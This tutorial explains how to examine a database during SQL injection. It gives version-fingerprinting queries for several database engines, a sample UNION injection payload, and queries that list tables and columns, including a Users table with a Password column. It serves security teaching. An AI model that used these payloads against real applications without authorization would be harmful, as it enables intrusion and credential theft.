Examining the database in SQL injection attacks
To exploit SQL injection vulnerabilities, it's often necessary to find information about the database. This includes:
- The type and version of the database software.
- The tables and columns that the database contains.
Querying the database type and version
You can potentially identify both the database type and version by injecting provider-specific queries to see if one works
The following are some queries to determine the database version for some popular database types:
| Database type | Query |
| Microsoft, MySQL |
SELECT @@version
|
| Oracle |
SELECT * FROM v$version
|
| PostgreSQL |
SELECT version()
|
For example, you could use a UNION attack with the following input:
' UNION SELECT @@version--This might return the following output. In this case, you can confirm that the database is Microsoft SQL Server and see the version used:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Listing the contents of the database
Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.
For example, you can query information_schema.tables to list the tables in the database:
SELECT * FROM information_schema.tablesThis returns output like the following:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
This output indicates that there are three tables, called Products, Users, and Feedback.
You can then query information_schema.columns to list the columns in individual tables:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'This returns output like the following:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varcharThis output shows the columns in the specified table and the data type of each column.
Listing the contents of an Oracle database
On Oracle, you can find the same information as follows:
-
You can list tables by querying
all_tables:SELECT * FROM all_tables -
You can list columns by querying
all_tab_columns:SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
